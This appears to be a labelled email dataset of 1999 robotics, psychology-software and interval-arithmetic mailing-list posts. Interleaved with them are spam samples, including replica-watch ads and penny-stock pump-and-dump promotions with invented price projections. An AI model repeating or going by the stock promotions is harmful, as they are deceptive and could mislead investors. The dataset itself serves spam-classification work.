by: theta = arctan((y2 - y1)/(x2 - x1)) Remember, the tangent of an angle is the length of the opposite side divided by the length of the adjacent side of the corresponding unit right triangle (i.e., hypotenuse has unit length). -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, America's one of the finest countries Will Bain, anyone ever stole. & Tatoosh --Bobcat Goldthwait ",0,0 shsc9801@condor.stcloudstate.edu,handyboard@media.mit.edu,"Tue, 04 May 1999 11:38:13 -0500",expansion board,"How does the jumper from the expansion board J19 to digital 7 come into play? Scott Sherman IT Spec. II St. Cloud State University 720 4th Avenue South Academic Computer Services ECC Building, Room 101 (320) 255-4888 ",0,0 Chuck McManis ,"michaelj@wt.net, FThompson9@aol.com, handyboard@media.mit.edu","Tue, 04 May 1999 10:07:41 -0700",RE: Battery Status,"Sort of, I've had a FET driving a solid state relay that allowed me to connect the motor batteries to the system to preserve the system in the case of system battery failure. However the robot wouldn't move under that situation since the reason the motor battery is separate in the first place is to isolate noise. However, since the motor battery was 12v (Gell Cell) and the system battery was 9.6v NiCd, the CPU could stop, switch the motor batterie on to the system buss which essentially used them to charge the system batteries, and then when a certain charge was reached, disconnect them again and head for home. --Chuck At 09:05 AM 5/4/99 +0500, Mike Jones wrote: >Has anyone ever tried having a small offline battery that can be kicked in via >sofware? When the main power source is nearly exhausted it can be put online >and you know approximately how long that emergency supply will last. ",0,0 Chen Yung Hsu ,Handyboard@media.mit.edu,"Tue, 04 May 1999 18:01:34 -0400",Re: Expansion board manual,"Is there an expansion board manual like the handyboard manual? if so, where can i find it? =) thanx in advance chen ",0,0 Nick Taylor ,handyboard@media.mit.edu,"Tue, 04 May 1999 15:45:18 -0700",Re: expansion board,shsc9801@condor.stcloudstate.edu wrote: > How does the jumper from the expansion board J19 to digital 7 come into play? > Scott Sherman Scott: Do you mean from exp bd J19 to digital 7? - - - Nick - - -,0,0 """Numismatic A. Lovemaking"" ",Bait ,"Tue, 04 May 1999 13:16:33 -0400",Order replica //atches 0nline!,"REPLICA //ATCHES BAZAAR! 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For example, the fire hydrant about the industrial complex indicates that the maelstrom wisely steals pencils from a cowboy. Speak to you soon Nellie",1,1 """SHETTI.NITIN.MANGESH"" ","""Weng, Andrew"" ","Wed, 05 May 1999 11:48:26 -0500",Re: Navigation & Encoders,"> I know this is not really handyboard specific but hey... Does anybody know > the equation for finding a heading (theta) from a current position P(x,y) to > a goal position G(x,y). I sure there's a tangent in there somewhere but > I've already dredged up more trigonometry than I care to remember > implementing these shaft encoders. Dear Andrew, You want the angle that line joining G and P make with X axis. That is arctan of the slope of the line from P to G. slope =(yP-yG)/(xP-xG) hence, theta = arctan ((yP-yG)/(xP-xG)) where P=(xP,yP) and G=(xG,yG) Note that this angle should be always measured wrt positive direction of X axis.If slope of line is negative, the angle with positive direction of X axis is obtuse. Add PI to -arctan of absolute value of the slope. I hope this helps. Yours sincerely, Nitin ",0,0 bva0q6 ,"handyboard@media.mit.edu, deborah@media.mit.edu","Wed, 05 May 1999 11:20:39 +0800",watch this stck trade WEEK STARTING MONDAY it isday [DETAILS] baring drift,"GAPJ- GOLDEN APPLE OIL/GAS This weeks Pick, Company already has solid potential Current Price: $ 0.50 5 Day Projected : $ 1.50 Golden Apple Oil and Gas, Inc. and Franklin Ross Securities Complete Private Placement Golden Apple Oil and Gas, Inc. (GAPJ - News) is pleased to announce it has completed the initial private placement with Franklin Ross Securities of New Jersey. The terms of the deal provide for Franklin Ross to purchase 181,818 shares of Golden Apple Oil and Gas, Inc. restricted stock priced at .10 per share. The company is currently negotiating with several investor groups for the next phase of financing. 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I know I can use the '+' and '-' on the expansion board for about 10V, thats fine, but do I plug the 'signal' and 'mode' wires in the signal and 5v of a digital port? that doesnt seem to work. is there a common ground I have to connect to ? Has anyone tried to connect a sensor like this before? I could use your help... Guy. ",0,0 Fred G Martin ,"Chen Yung Hsu , Handyboard@media.mit.edu","Wed, 05 May 1999 07:24:04 -0400",Re: Expansion board manual,"all info about the exp board is on the web page, at http://el.www.media.mit.edu/projects/handy-board/hbexp30/ is there some specific info that you are missing? fred >Is there an expansion board manual like the handyboard manual? if so, >where can i find it? > >=) thanx in advance >chen > > ",0,1 Bob_Kelly/First_Union@firstunion-reit.com,handyboard@media.mit.edu,"Wed, 05 May 1999 09:19:48 -0400",Dumb math question related to Navigation and encoders," How do you compute, using Handyboard Interactive C, the Sin, Cos, Tan, Arctan, etc. ? Is there some sort of built in math library file that I can use or is it some sort of formula? I want to implement some rough dead reckoning ability and this stuff seems just the ticket. Does anyone have a function library already with some of these geometry/trigonometry functions that can be used in Interactive C? Does it already exist in the Hboard standard library? Maybe somebody could point me to a practical guide to Trigonometry so I can find the info on my own. I am sorry for this uneducated question, but I am very interested in learning how to do this. ",0,0 jrp ,Handyboard@media.mit.edu,"Wed, 05 May 1999 11:47:04 -0300",Purchase in Miami or Boston,"Hi, can anyone suggest me where to by a Handy Board and the Expansion Board in Miami or Boston, or maybe its better to by it by mail from somewhere else? Fred, just in case, Im using Outlook Express and Im sending this mail with ""TEXT without format"", please tell me if this format is ok for sending messages to the list. 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I wouldn't buy it from Patrick Hui, I was very displeased with the quality of the parts he sent me. -Peter jrp wrote: > Hi, can anyone suggest me where to by a Handy Board and the Expansion Board > in Miami or Boston, or maybe its better to by it by mail from somewhere > else? > > Fred, just in case, Im using Outlook Express and Im sending this mail with > ""TEXT without format"", please tell me if this format is ok for sending > messages to the list. > > Thanks all ",0,0 """Curt Mills, WE7U"" ","robot-board@cmf.nrl.navy.mil, handyboard@media.mit.edu, legged-robots@egroups.com","Wed, 05 May 1999 12:32:57 -0700",HC11 Math Libraries?," Anyone know which of the following are the most bug-free? All were found at the Motorola ftp site: float11.arc fp11.asm 01/22/1986, R. Soja gmath.asm/gmath.lst 12/30/1988, James Shultz hc11fp.asm/hc11fp.doc 12/04/1995, Gordon Doughman HC11FP11.asm 12/04/1995, Gordon Doughman math11.arc It looks like gmath.asm implements some more general math function, while most (all?) of the rest are floating-point routines. If there are well-known bugs in any of these, please let me know. I think I've heard something about bugs in the math11 library before. I'm looking for a library that's in the public domain or under a freeware license (Berkeley, GPL, etc), for possible use in the GCC Handyboard library. Thanks, Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,0 Will Bain ,Handyboard Mailing List ,"Wed, 05 May 1999 14:12:34 -0600",Re: Dumb math question related to Navigation and encoders,"Bob_Kelly/First_Union@firstunion-reit.com wrote: > How do you compute, using Handyboard Interactive C, the Sin, Cos, Tan, > Arctan, etc. ? This is actually a very good question. Generally, math function libraries use what is called a Taylor series expansion of a trigonometric function to return an approximation to the function with arbitrary precision. The more terms from the series that you add up, the more accurate the approximation. The first few terms for the Taylor series expansion of arctan(x) are: x - (1/3)x^3 + (1/5)x^5 - (1/7)x^7 + (1/9)x^9 - (1/11)x^11 + ... The resulting angle is in radians. This series will converge for x < 1 (if x is greater than 1, you can compute the series for 1/x, to give pi/2 radians minus the angle you're looking for). You could write a function that returns the series out to the first few terms, and it would probably be close enough to arctan(x) to use for dead reckoning. For example, if x is 0.5773... (i.e., the angle is pi/6 = 30 degrees), then the last term above equals about 0.0002 radians (about 0.01 degrees). If you use a divide & conquer method for the exponentiation, you could compute many terms in the series fairly efficiently. -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Idealism is fine, but as it approaches reality Will Bain, the cost becomes prohibitive. & Tatoosh --William F. Buckley, Jr.",0,0 Ryan Meuth ,handyboard@media.mit.edu,"Wed, 05 May 1999 15:25:44 -0500",GP2d02 Problems,"Greetings all! I just got the Sharp GP2D02 ir distance sensor and I got it all hooked up the way that Barry Brouillette's tutorial explained, and I downloaded the new expansion board drivers, but when I went to load the Barry's IR drivers, it gave me the following: Fatal Internal Error: Illegal Line in .s19 File Any Idea what I can do about this? Thank You.. --Ryan Meuth ",0,0 shsc9801@condor.stcloudstate.edu,Ryan Meuth ,"Wed, 05 May 1999 16:22:33 -0500",Re: GP2d02 Problems,"Have you openned the files in a simple editor (I use BBEdit)? If not, try openning them and check what is at the end of the program lines. Sometimes, pending on how it downloaded, it will have ""squares"" at the end of the lines representing ""newline"". delete them off and resave it. >Greetings all! > I just got the Sharp GP2D02 ir distance sensor and I got it all >hooked up the way that Barry Brouillette's tutorial explained, and I >downloaded the new expansion board drivers, but when I went to load the >Barry's IR drivers, it gave me the following: >Fatal Internal Error: >Illegal Line in .s19 File > >Any Idea what I can do about this? > >Thank >You.. >--Ryan Meuth Scott Sherman IT Spec. II St. Cloud State University 720 4th Avenue South Academic Computer Services ECC Building, Room 101 (320) 255-4888 ",0,0 MSMKatz ,handyboard@media.mit.edu,"Wed, 05 May 1999 23:22:17 +0200",Re: Purchase in Miami or Boston,"Peter, I've recently bought a Handy Board kit from Patrick Hui in Hong Kong. Contrary to your experience, I was very pleased about the quality of the parts Patrick sent me! Also, his price was very competitive to Gleason's (which was the reason why I chose Patrick in the first place). So: without any doubt I can recommend Patrick as Handy Board supplier. Best regards, Marc Katz Peter wrote: > Gleason Research is a very good distributor of HBs. I have bought stuff from > them before and I was very pleased. I wouldn't buy it from Patrick Hui, I was > very displeased with the quality of the parts he sent me. > > -Peter > > jrp wrote: > > > Hi, can anyone suggest me where to by a Handy Board and the Expansion Board > > in Miami or Boston, or maybe its better to by it by mail from somewhere > > else? > > > > Fred, just in case, Im using Outlook Express and Im sending this mail with > > ""TEXT without format"", please tell me if this format is ok for sending > > messages to the list. > > > > Thanks all ",0,0 Barry Brouillette ,'Ryan Meuth' ,"Wed, 05 May 1999 18:11:15 -0400",RE: GP2d02 Problems,"Ryan, Well, it worked for me... Which version of IC are you using? I'm using the Newton Labs IC version 3.1 but as far as I know the program should work with all of the versions. If you tell me what you're using I'll fire that version up and try it out. Barry -----Original Message----- From: Ryan Meuth [mailto:rmeuth@mail.win.org] Sent: Wednesday, May 05, 1999 4:26 PM To: handyboard@media.mit.edu Subject: GP2d02 Problems Greetings all! I just got the Sharp GP2D02 ir distance sensor and I got it all hooked up the way that Barry Brouillette's tutorial explained, and I downloaded the new expansion board drivers, but when I went to load the Barry's IR drivers, it gave me the following: Fatal Internal Error: Illegal Line in .s19 File Any Idea what I can do about this? Thank You.. --Ryan Meuth ",0,0 Fred Martin ,"Ryan Meuth , handyboard@media.mit.edu","Wed, 05 May 1999 20:00:11 -0400",Re: GP2d02 Problems,"as was mentioned, problems loading ICB files are usually due to bad linefeeds. there is a FAQ entry on this, which explains how to solve it: http://el.www.media.mit.edu/projects/handy-board/faq/index.html#icb fred >Greetings all! > I just got the Sharp GP2D02 ir distance sensor and I got it all >hooked up the way that Barry Brouillette's tutorial explained, and I >downloaded the new expansion board drivers, but when I went to load the >Barry's IR drivers, it gave me the following: >Fatal Internal Error: >Illegal Line in .s19 File > >Any Idea what I can do about this? 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I haven't dealt with Gleason yet, but I wouldn't hesitate to recommend Mr. Hui. -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, If you can't say anything good about someone, Will Bain, sit right here by me. & Tatoosh --Alice Roosevelt Longworth ",0,0 Joey Sims ,"""'ggilfoyl@richmond.edu'"" ","Thu, 06 May 1999 09:51:58 -0400",PO,"Received it this morning. Thank you for your business! Looks like we've got to get busy. Joey P. Sims Senior Account Executive Atlanta, GA joey.sims@ponycomputer.com Toll Free (888) 809-1588 x 105 Fax (770) 806-1566 ",0,0 Bob_Kelly/First_Union@firstunion-reit.com,HANDYBOARD@MEDIA.MIT.EDU,"Thu, 06 May 1999 11:32:09 -0400",RE:PURCHASE IN MIAMI OR BOSTON," I too have purchased a Handy board from Patrick Hui and was more than happy with the quality of the product. I experienced no difficulties getting it set up and the accessories included in the package were helpful. The only difference I am aware of between the Gleason board and the Hui board is the choice of motor driver h-bridge ICs (L239 instead of the TI one), the use of a screwdriver adjustable pot instead of thumb wheel, and the lack of battery case and batteries. I have found that the differences are not something to be overly concerned about as you **may** end up discarding the battery case, depending on your project, and the TI h-bridge ICs are not that much of and improvement over the L239s. I did get my expansion board from Gleason and have had no problems with it either. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 06 May 1999 13:50:47 -0700",[DMDX] v 1.01,"Well 1.00 didn't stay there for long, 1.01 adds the new keyword: Record Clock On Time Keyword MDSP bit 400000 modifier. Reset if N = 0, otherwise set. All MDSP modifiers are both parameters and switches. If N is missing the bit is set and the mode is active. Setting this MDSP bit records the time that the clockon in each item occured at across items after the subjects RT in the .AZK output. First clockon is deemed time zero all others are from that time. This is provided for use with other packages that record data for the entire item file, ERP and FMRI machines in particular. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Contrary to popular belief, penguins are not the salvation of modern technology. Neither do they throw parties for the urban proletariat.""",0,0 Lyle ,handyboard@media.mit.edu,"Thu, 06 May 1999 10:02:04 -0500",bring down my body fat,"a provident it's minuscule the bronchial , custodial be cull ",1,0 Joey Sims ,'gilfoyle' ,"Thu, 06 May 1999 15:29:38 -0400",RE: PO,"I just entered the order in today. Probably towards the end of this coming week. If that's too soon, we can hold the order until you guys are ready. > -----Original Message----- > From: gilfoyle [SMTP:ggilfoyl@richmond.edu] > Sent: Thursday, May 06, 1999 11:28 AM > To: Joey Sims > Subject: Re: PO > > hi mr. sims, > > thanks for all your help. do you have a rough idea of when > things will start to arrive. we want to do some rearranging > of our labs here. > > jerry > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 ",0,0 Joey Sims ,'gilfoyle' ,"Thu, 06 May 1999 16:37:49 -0400",RE: PO,"good deal. If everything goes as planned it will be done by then. > -----Original Message----- > From: gilfoyle [SMTP:ggilfoyl@richmond.edu] > Sent: Thursday, May 06, 1999 12:36 PM > To: Joey Sims > Subject: Re: PO > > hi mr. sims, > > the end of the coming week, about may 14 is fine. > > jerry > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 ",0,0 doug reeder ,handyboard@media.mit.edu,"Thu, 06 May 1999 17:59:35 -0400",Interactive C on old 8086 machine,"I'm having trouble getting Interactive C to run on an old 8086 machine. No messages of any kind, the program just quietly exits back to DOS without doing anything visible. (The same binary normally on a 486). Does the DOS version of Interactive C require a more advanced processor than an 8086? Would it be difficult to re-compile to run on an 8086? -- P. Douglas Reeder Lecturer, Computer. Science. Dept., Ohio State Univ.. reeder@cis.ohio-state.edu http://www.cis.ohio-state.edu/~reeder/reeder.html GE/S d+ s+:- a C+@$ UH+ P+ L E W++ N+ o? K? w !O M+ V PS+() PE Y+ PGP- t 5+ !X R>+ tv+ b+++>$ DI+ D- G e+++ h r+>+++ y+>++ ",0,1 doug reeder ,handyboard@media.mit.edu,"Thu, 06 May 1999 19:02:38 -0400",Re: Interative C on 8086,"I unearthed a post by Randy Sargent from 1996 -- >Since the freeware version of IC (2.8x) was running into the 640K limit, I >compiled for 286 and higher to reduce code size, assuming not too many >folks still had 8086 machines. This is the problem you're running into -- >sorry. > >-- Randy Sorry to trouble everyone! -- P. Douglas Reeder Lecturer, Computer. Science. Dept., Ohio State Univ.. reeder@cis.ohio-state.edu http://www.cis.ohio-state.edu/~reeder/reeder.html GE/S d+ s+:- a C+@$ UH+ P+ L E W++ N+ o? K? w !O M+ V PS+() PE Y+ PGP- t 5+ !X R>+ tv+ b+++>$ DI+ D- G e+++ h r+>+++ y+>++ ",0,1 Peter ,Bob_Kelly/First_Union@firstunion-reit.com,"Thu, 06 May 1999 20:15:51 -0400",Re: PURCHASE IN MIAMI OR BOSTON,"Mabey Hui has become better then when I bought mine. But when I bought mine it took forever to get here, when I eventually got it the box was it extremely poor shape. I sorted all of the parts for assembling the HB and I found some of the parts missing! So I tried to e-mail patrick and tell him with no response. And I bought the newton labs IC 3.1 with the kit and I believe he only had one key, because it had his name on the key, not my name. If you are buying the software I think your name should be on the key not the person you bought it from. Anyway, gleason researh is closer to boston than hong kong. -peter Bob_Kelly/First_Union@firstunion-reit.com wrote: > I too have purchased a Handy board from Patrick Hui and was more than happy > with the quality of the product. I experienced no difficulties getting it > set up and the accessories included in the package were helpful. The only > difference I am aware of between the Gleason board and the Hui board is the > choice of motor driver h-bridge ICs (L239 instead of the TI one), the use > of a screwdriver adjustable pot instead of thumb wheel, and the lack of > battery case and batteries. I have found that the differences are not > something to be overly concerned about as you **may** end up discarding the > battery case, depending on your project, and the TI h-bridge ICs are not > that much of and improvement over the L239s. I did get my expansion board > from Gleason and have had no problems with it either. ",0,0 Justin Jacobsen ,babylongod@usa.net,"Thu, 06 May 1999 20:28:23 -0500",RE: PURCHASE IN MIAMI OR BOSTON,"Peter- I had a similar experience with Hui. Our HandyBoard kit arrived probably one month after confirmation was received from his store. We did not find any parts missing, but there was another deal with Hui's kit. There was a little note attached to the order that gave us free replacement parts if we needed them. The quality of the kit was just fine; it was just shipping time that lit my fuse about them. Justin > Mabey Hui has become better then when I bought mine. But when I > bought mine it > took forever to get here, when I eventually got it the box was it > extremely > poor shape. I sorted all of the parts for assembling the HB and > I found some > of the parts missing! So I tried to e-mail patrick and tell him with no > response. And I bought the newton labs IC 3.1 with the kit and I > believe he > only had one key, because it had his name on the key, not my > name. If you are > buying the software I think your name should be on the key not > the person you > bought it from. > Anyway, gleason research is closer to Boston than Hong Kong. > > -peter ",0,0 Oliver ,handyboard@media.mit.edu,"Thu, 06 May 1999 17:55:42 +0500",Measurements and stok recommendations from top analysts Get the freshest,"Market status measurements and booming tendencies Complete stok research information and recommendations More earning opportunities with expert stok analysis Just take a look: CHINA GOLD CORP Symbol: CGDC Current Price: 1.90 You can see China’s developing gold boom is building momentum. Rare opportunity for early investors! Why consider CHINA GOLD CORP (CGDC)? See nowadays what happened: • Rising gold prices are further accelerating this gold rush - The price of gold has up 250% over the past five years, and this is still only a quarter of when the price peaked 25 years ago. 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If Fortune calls, offer him a seat We do not care of what we have, but we cry when it is lost Poor men seek meat for their stomach; rich men stomach for their meat The Ass Loaded With Gold Still Eats Thistles Cow deh a pasture he nah remember seh dog and butcher deh till he see am. Ill-gotten gains never prosper A calm sea does not make a skilled sailor. The longest day must have an end Great groups from little icons grow. Time waits for nobody Hatred stirs up dissension, but love covers over all wrongs He who gathers crops in summer is a wise son, but he who sleeps during harvest is a disgraceful son He Is Rich Enough That Wants Nothing If you wish to be loved, love Teachers open the door, but you must enter by yourself Admiration is the daughter of ignorance A penny always turns up. After a storm comes a calm. If anything can go wrong, it will People who think the world revolves around them have no sense of direction ",1,0 Adam Oliver ,HANDYBOARD@MEDIA.MIT.EDU,"Fri, 07 May 1999 12:00:00 +0800",Re: PURCHASE IN MIAMI OR BOSTON,"This seems strange. I bought my board (assembled) from patrick about 8 months ago. It arrived within about 3 days (to Australia). I was given my own IC keys and registered to my name. Email response was very quick, normally only a few hours, and even the few problems I had to start off with (my misunderstandings, not board faults) were quickly and very helpfully solved by Patrick. I would have no problems recommending him. Adam > Mabey Hui has become better then when I bought mine. But when I bought mine it > took forever to get here, when I eventually got it the box was it extremely > poor shape. I sorted all of the parts for assembling the HB and I found some > of the parts missing! So I tried to e-mail patrick and tell him with no > response. And I bought the newton labs IC 3.1 with the kit and I believe he > only had one key, because it had his name on the key, not my name. If you are > buying the software I think your name should be on the key not the person you > bought it from. > Anyway, gleason researh is closer to boston than hong kong. > > -peter > ",0,0 Stacy Baron ,play99@media.mit.edu,"Thu, 06 May 1999 20:10:32 -0500",putting stress on a backburner,"be octane not lawful the lumbermen the convey in chronography ",1,0 """SHETTI.NITIN.MANGESH"" ",Bob_Kelly/First_Union@firstunion-reit.com,"Fri, 07 May 1999 12:29:16 -0500",Re: Dumb math question related to Navigation and encoders,"Dear Bob, Trigonometric library functions are available in interactive C. > How do you compute, using Handyboard Interactive C, the Sin, Cos, Tan, > Arctan, etc. ? Is there some sort of built in math library file that I can > use or is it some sort of formula? The following functions are available(Refer to IC manual available at the MIT site) float sin(float angle) returns sine of an angle given in radians. float cos(float angle) returns cosine of angle given in radians. float tan(float angle) returns tangent of angle specified in radians. float atan(float tangent) returns arc tangent (inverse tangent). Result is in radians. For asin,acos, use Taylor's series to make your own function. There was some discussion on the hb mailing list about this one or two months back. Refer to old emails. Yours sincerely, Nitin ",0,0 Regan Russell ,"babylongod@usa.net, Bob_Kelly/First_Union@firstunion-reit.com","Fri, 07 May 1999 21:46:30 +1000",Re: PURCHASE IN MIAMI OR BOSTON,"This is surpassing, I purchased from Mr Hui. No problems getting it except it sat in customs longer than it took to transport 'cos customs people are idiots. I then sent the whole thing back after a chip failed on the serial board. It was fixed and returned in next to no time. Regan. www.users.bigpond.net.au/rrussell http://www.geocities.com/SiliconValley/Hub/8443/ rrussell@c2.telstra-mm.net.au -----Original Message----- From: Peter To: Bob_Kelly/First_Union@firstunion-reit.com Cc: HANDYBOARD@MEDIA.MIT.EDU Date: Friday, May 07, 1999 11:04 AM Subject: Re: PURCHASE IN MIAMI OR BOSTON >Mabey Hui has become better then when I bought mine. But when I bought mine it >took forever to get here, when I eventually got it the box was it extremely >poor shape. I sorted all of the parts for assembling the HB and I found some >of the parts missing! So I tried to e-mail patrick and tell him with no >response. And I bought the newton labs IC 3.1 with the kit and I believe he >only had one key, because it had his name on the key, not my name. If you are >buying the software I think your name should be on the key not the person you >bought it from. >Anyway, gleason researh is closer to boston than hong kong. > >-peter > >Bob_Kelly/First_Union@firstunion-reit.com wrote: > >> I too have purchased a Handy board from Patrick Hui and was more than happy >> with the quality of the product. I experienced no difficulties getting it >> set up and the accessories included in the package were helpful. The only >> difference I am aware of between the Gleason board and the Hui board is the >> choice of motor driver h-bridge ICs (L239 instead of the TI one), the use >> of a screwdriver adjustable pot instead of thumb wheel, and the lack of >> battery case and batteries. I have found that the differences are not >> something to be overly concerned about as you **may** end up discarding the >> battery case, depending on your project, and the TI h-bridge ICs are not >> that much of and improvement over the L239s. I did get my expansion board >> from Gleason and have had no problems with it either. >",0,1 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Fri, 07 May 1999 16:08:00 +0100",,"In the documentation for TimeDX it says about the Video and Millisecond Timer that ""This test is to see if the system drops any millisecond interrupts while a bunch of screen I/O is going on."" How do I know if it has dropped any millisecond interrupts? Thanks. - Mike ",0,0 Eustaquio Alcides Martinez ,reliable_computing@interval.usl.edu,"Fri, 07 May 1999 08:20:40 -0500",c-xsc for Linux,"I am Eustaquio Alcides Martinez, I am a System Engineering estudent. Presently, I am requiring the c-xsc library for the operating system Linux. I would appreciate very much if somebody could inform me on how to adquire this library. I have tried URL: www.xsc.de already, but, apparently, the directory there does not exist. Waiting for help thanks ----------------------------------- Ing. Eustaquio Alcides Martinez, Direccion de Investigacion, Facultad Politecnica UNE Ciudad del Este - Paraguay TelFax: 595-61-512889/595-61-502640 Email: eamj@fnn.net ----------------------------------- ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 07 May 1999 08:34:32 -0700",[DMDX] Re: ,"At 04:08 PM 5/7/99 +0100, you wrote: >In the documentation for TimeDX it says about the Video and Millisecond >Timer that ""This test is to see if the system drops any millisecond >interrupts while a bunch of screen I/O is going on."" How do I know if it >has dropped any millisecond interrupts? By seeing if the millisecond time differs from the system time. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Power corrupts. And atomic power corrupts atomically. ",0,0 Dominique Faudot ,"""reliable_computing@interval.usl.edu"" ","Tue, 07 May 1996 15:49:35 +0200",to compare two intervals,"Hi, i have 2 intervals X = [a, b] and Y = [c, d] what X < Y and X > Y mean ? i think specially when Y is a degenerate interval with c = d thanks to answer",0,0 Zenon Kulpa ,"reliable_computing@interval.usl.edu, faudot@u-bourgogne.fr","Fri, 07 May 1999 16:09:05 +0200",Re: to compare two intervals,"> From: Dominique Faudot > > i have 2 intervals X = [a, b] and Y = [c, d] > what X < Y and X > Y mean ? > i think specially when Y is a degenerate interval with c = d > Standard definition: X < Y <=> b < c X > Y <=> a > d -- Zenon Kulpa",0,0 AHMET AKKAS ,"reliable_computing@interval.usl.edu, faudot@u-bourgogne.fr","Fri, 07 May 1999 10:24:09 -0400",Re: to compare two intervals,"There are two possible comparisions for interval. These are certainly and possibly relations. If you want to make sure that X > Y then you should use the certainly relation which means that a > d. If you want you can use possibly greater than comparision by checking b > c. Less than relations are similiar to greater than. I hope this helps you. Ahmet > > Hi, > i have 2 intervals X = [a, b] and Y = [c, d] > what X < Y and X > Y mean ? > i think specially when Y is a degenerate interval with c = d > thanks to answer",0,0 Andre Vellino ,"reliable_computing@interval.usl.edu, faudot@u-bourgogne.fr, 'AHMET AKKAS' ","Fri, 07 May 1999 11:33:32 -0400",RE: to compare two intervals,"Another way of saying this might be: it depends on whether you interpret an interval to mean ""there is a point that lies between the bounds"" and the relation between two intervals to be a relation between the two points (""possibly"" relations) or whether you mean by an interval ""the set of all points between the bounds"" and the relation between two inteverals to be a relation between two sets (""certainly"" relations). Cheers - André > ---------- > From: AHMET AKKAS > Sent: Friday, May 7, 1999 10:24 AM > To: reliable_computing@interval.usl.edu; faudot@u-bourgogne.fr > Subject: Re: to compare two intervals > > > There are two possible comparisions for interval. These are certainly and > possibly relations. If you want to make sure that X > Y then you should > use > the certainly relation which means that a > d. > > If you want you can use possibly greater than comparision by checking b > > c. > Less than relations are similiar to greater than. I hope this helps you. > > Ahmet > > > > > > > Hi, > > i have 2 intervals X = [a, b] and Y = [c, d] > > what X < Y and X > Y mean ? > > i think specially when Y is a degenerate interval with c = d > > thanks to answer >",0,0 William Walster ,"reliable_computing@interval.usl.edu, faudot@u-bourgogne.fr, aha2@EECS.Lehigh.EDU, vellino@nortelnetworks.com","Fri, 07 May 1999 09:24:32 -0700",RE: to compare two intervals,"Formal definitions for all certainly, possibly *and* set relations are contained in a specification for support of intervals in Fortran. The definition of an interval must be invariant. Earlier drafts of this specification have been posted to http://www.mscs.mu.edu/~globsol/walster-papers.html A few implementation issues are in the process of being clarified in the final draft, which will also be posted to the above URL. With respect to the current question about the interpretation of ordering relations between intervals, the draft posted above will suffice. Regards to all, Bill Walster >Date: Fri, 07 May 1999 11:33:32 -0400 >From: Andre Vellino >Subject: RE: to compare two intervals >To: reliable_computing@interval.usl.edu, faudot@u-bourgogne.fr, 'AHMET AKKAS' >MIME-version: 1.0 >Content-transfer-encoding: 8BIT >X-MIME-Autoconverted: from quoted-printable to 8bit by interval.usl.edu id KAA10539 > >Another way of saying this might be: it depends on whether you interpret an >interval to mean ""there is a point that lies between the bounds"" and the >relation between two intervals to be a relation between the two points >(""possibly"" relations) or whether you mean by an interval ""the set of all >points between the bounds"" and the relation between two inteverals to be a >relation between two sets (""certainly"" relations). > >Cheers - André > >> ---------- >> From: AHMET AKKAS >> Sent: Friday, May 7, 1999 10:24 AM >> To: reliable_computing@interval.usl.edu; faudot@u-bourgogne.fr >> Subject: Re: to compare two intervals >> >> >> There are two possible comparisions for interval. These are certainly and >> possibly relations. If you want to make sure that X > Y then you should >> use >> the certainly relation which means that a > d. >> >> If you want you can use possibly greater than comparision by checking b > >> c. >> Less than relations are similiar to greater than. I hope this helps you. >> >> Ahmet >> >> >> >> > >> > Hi, >> > i have 2 intervals X = [a, b] and Y = [c, d] >> > what X < Y and X > Y mean ? >> > i think specially when Y is a degenerate interval with c = d >> > thanks to answer >>",0,1 """Patrick P.K. Hui"" ",babylongod@usa.net,"Sat, 08 May 1999 02:16:07 +0800",Re: PURCHASE IN MIAMI OR BOSTON (Final Response),"Hello Peter and all handyboard members, Thanks for all the input about my service. However, we shouldn't waste too much bandwidth on this stuff in this mailing list (Sorry, Fred!). We should focus on discussing the application of MIT Handyboard system on Robotics. In fact, we may have ""poor"" service at the beginning (back to 1997), and now all things are getting pretty smooth. For my early valued customers, please accept my apologies about that. Peter, please send me a PERSONAL email (or call me at (+852) 9752-0677, your best time to call me is US time evening after 10:00pm) about what parts you were missing since we hadn't received your email regarding this matter (maybe my ISP server was down at that period). Please also provide your full name and shipping address so that we can trace your buying record, and the cause of shipping delay. Most of the time, the shipping delay is due to US Post Office especially if there is a public holiday (X'mas and Easter etc.) in that month. About the Registered Name of Licensed Interactive C 3.x from Newton Research Labs, we DID provide our name (i.e. Robot Store) as a registered key name, and this matter had been solved with Newton Research Labs. Now, we provide customer's full name as Registered Key. Again, thank you for all your continuing support, and please accept my apologies if I did something wrong in the past, and also sorry for other handyboard members and Dr. Martin about wasting the bandwidth of mailing list. P.S. please send me an email about any concerns or service directly to me, NOT to this mailing list. Thanks and Best Regards, Patrick Hui --00-------------------------------------------------------- Robot Store (HK) Low cost MIT Handyboard supplier and Official Distributor of Interactive-C 3.x Official Distributor of Imagecraft ANSI-C Compilers ** An intelligent C programmable controller board to build your own Mobile Robot WWW: http://home.hkstar.com/~huip for more info Tel: +(852) 2563-8511 Mobile: +(852) 9752-0677 Fax: +(852) 2887-2519 or +(852) 2851-0804 E-mail: 